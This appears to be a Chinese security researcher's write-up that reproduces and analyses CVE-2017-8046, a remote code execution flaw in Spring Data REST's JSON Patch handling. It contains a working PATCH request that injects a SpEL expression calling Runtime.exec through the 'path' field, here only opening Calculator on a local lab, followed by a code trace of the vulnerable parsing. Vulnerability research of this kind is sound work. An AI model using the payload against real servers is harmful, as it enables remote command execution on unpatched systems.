CVE-2017-8046 复现与分析
环境搭建
使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete,直接用IDEA导入,并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。
之前尝试搭建了另一个验证环境,但是修改版本后加载一直报错,不知道是什么原因,写完在研究下。
直接运行,默认端口8080,访问http://localhost:8080/
people类有两个属性,firstName和lastName
1 package hello; 2 3 import javax.persistence.Entity; 4 import javax.persistence.GeneratedValue; 5 import javax.persistence.GenerationType; 6 import javax.persistence.Id; 7 8 @Entity 9 public class Person { 10 11 @Id 12 @GeneratedValue(strategy = GenerationType.AUTO) 13 private long id; 14 15 private String firstName; 16 private String lastName; 17 18 public String getFirstName() { 19 return firstName; 20 } 21 22 public void setFirstName(String firstName) { 23 this.firstName = firstName; 24 } 25 26 public String getLastName() { 27 return lastName; 28 } 29 30 public void setLastName(String lastName) { 31 this.lastName = lastName; 32 } 33 }
根据rest api规定,用POST请求新建一个people,请求如下
POST /people HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32
{"firstName":"w","lastName":"q"}
此时已创建一个people对象,通过GET请求可以访问对象
漏洞复现
需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:
1、请求头为Content-Type: application/json-patch+json
2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割
这样我们就可以构造payload了
PATCH /people/1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
Content-Length: 256
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]
参数path存在代码注入,可执行系统命令,这里运行的命令是open /Applications/Calculator.app,成功弹出计算器
漏洞分析
入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()
中
通过request.isJsonPatchRequest
确定是PATCH请求之后,调用applyPatch(request.getBody(), target);
。其中isJsonPatchRequest
的判断方法是
1 public boolean isJsonPatchRequest() { 2 // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json"); 3 return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType); 4 }
所以这就要求我们使用PATCH方法时,contentType要为application/json-patch+json。
继续跟踪进入到applyPatch()方法中:
1 <T> T applyPatch(InputStream source, T target) throws Exception { 2 return getPatchOperations(source).apply(target, (Class<T>) target.getClass()); 3 }
继续跟踪进入到getPatchOperations()中:
1 private Patch getPatchOperations(InputStream source) { 2 try { 3 return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source)); 4 } catch (Exception o_O) { 5 throw new HttpMessageNotReadableException( 6 String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O); 7 } 8 }
利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()
方法
1 public Patch convert(JsonNode jsonNode) { 2 if (!(jsonNode instanceof ArrayNode)) { 3 throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode"); 4 } else { 5 ArrayNode opNodes = (ArrayNode)jsonNode; 6 List<PatchOperation> ops = new ArrayList(opNodes.size()); 7 Iterator elements = opNodes.elements(); 8 9 while(elements.hasNext()) { 10 JsonNode opNode = (JsonNode)elements.next(); 11 String opType = opNode.get("op").textValue(); 12 String path = opNode.get("path").textValue(); 13 JsonNode valueNode = opNode.get("value"); 14 Object value = this.valueFromJsonNode(path, valueNode); 15 String from = opNode.has("from") ? opNode.get("from").textValue() : null; 16 if (opType.equals("test")) { 17 ops.add(new TestOperation(path, value)); 18 } else if (opType.equals("replace")) { 19 ops.add(new ReplaceOperation(path, value)); 20 } else if (opType.equals("remove")) { 21 ops.add(new RemoveOperation(path)); 22 } else if (opType.equals("add")) { 23 ops.add(new AddOperation(path, value)); 24 } else if (opType.equals("copy")) { 25 ops.add(new CopyOperation(path, from)); 26 } else { 27 if (!opType.equals("move")) { 28 throw new PatchException("Unrecognized operation type: " + opType); 29 } 30 31 ops.add(new MoveOperation(path, from)); 32 } 33 } 34 35 return new Patch(ops); 36 } 37 }
convert()方法返回Patch()对象,其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch
中,
1 public Patch(List<PatchOperation> operations) { 2 this.operations = operations; 3 }
通过上一步地分析,ops是一个List<PatchOperation>对象,每一个PatchOperation对象中包含了op、path、value三个内容。进入到PatchOperation分析其赋值情况
1 public PatchOperation(String op, String path, Object value) { 2 3 this.op = op; 4 this.path = path; 5 this.value = value; 6 this.spelExpression = pathToExpression(path); 7 }
进入到pathToExpression()中
1 public static Expression pathToExpression(String path) { 2 return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); 3 }
可以看到这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()。进入到pathToSpEL()中。
1 private static String pathToSpEL(String path) { 2 return pathNodesToSpEL(path.split("\\/")); // 使用/分割路径 3 } 4 5 private static String pathNodesToSpEL(String[] pathNodes) { 6 StringBuilder spelBuilder = new StringBuilder(); 7 for (int i = 0; i < pathNodes.length; i++) { 8 String pathNode = pathNodes[i]; 9 if (pathNode.length() == 0) { 10 continue; 11 } 12 if (APPEND_CHARACTERS.contains(pathNode)) { 13 if (spelBuilder.length() > 0) { 14 spelBuilder.append("."); // 使用.重新组合路径 15 } 16 spelBuilder.append("$[true]"); 17 continue; 18 } 19 try { 20 int index = Integer.parseInt(pathNode); 21 spelBuilder.append('[').append(index).append(']'); 22 } catch (NumberFormatException e) { 23 if (spelBuilder.length() > 0) { 24 spelBuilder.append('.'); 25 } 26 spelBuilder.append(pathNode); 27 } 28 } 29 String spel = spelBuilder.toString(); 30 if (spel.length() == 0) { 31 spel = "#this"; 32 } 33 return spel; 34 }
重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()
中,
1 T applyPatch(InputStream source, T target) throws Exception { 2 return getPatchOperations(source).apply(target, (Class<T>) target.getClass()); 3 }
实际上PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。通过动态调试分析,此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到ReplaceOperation:perform()中,
1 <T> void perform(Object target, Class<T> type) { 2 setValueOnTarget(target, evaluateValueFromTarget(target, type)); 3 } 4 5 protected void setValueOnTarget(Object target, Object value) { 6 spelExpression.setValue(target, value); 7 }
在setValueOnTarget()中会调用spelExpression对spel表示式进行解析,从而触发漏洞。
漏洞验证
明天用pocsuite写下poc,现在困了。